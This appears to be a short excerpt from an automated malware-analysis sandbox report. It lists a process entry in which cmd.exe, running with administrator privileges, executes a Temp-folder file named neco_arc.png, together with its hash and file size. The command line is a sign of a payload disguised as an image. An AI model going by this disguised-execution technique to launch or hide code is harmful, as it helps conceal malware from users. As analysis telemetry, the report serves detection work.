    Path:C:\Windows\SysWOW64\cmd.exe
    Wow64 process (32bit):
    Commandline:C:\Windows\system32\cmd.exe /c C:\Users\user\AppData\Local\Temp\neco_arc.png
    Imagebase:
    File size:232960 bytes
    MD5 hash:F3BDBE3BB6F734E357235F4D5898582D
    Has elevated privileges:true
    Has administrator privileges:true
    Programmed in:C, C++ or other language
    Reputation:high

    Disassembly

    Code Analysis

    Reset < >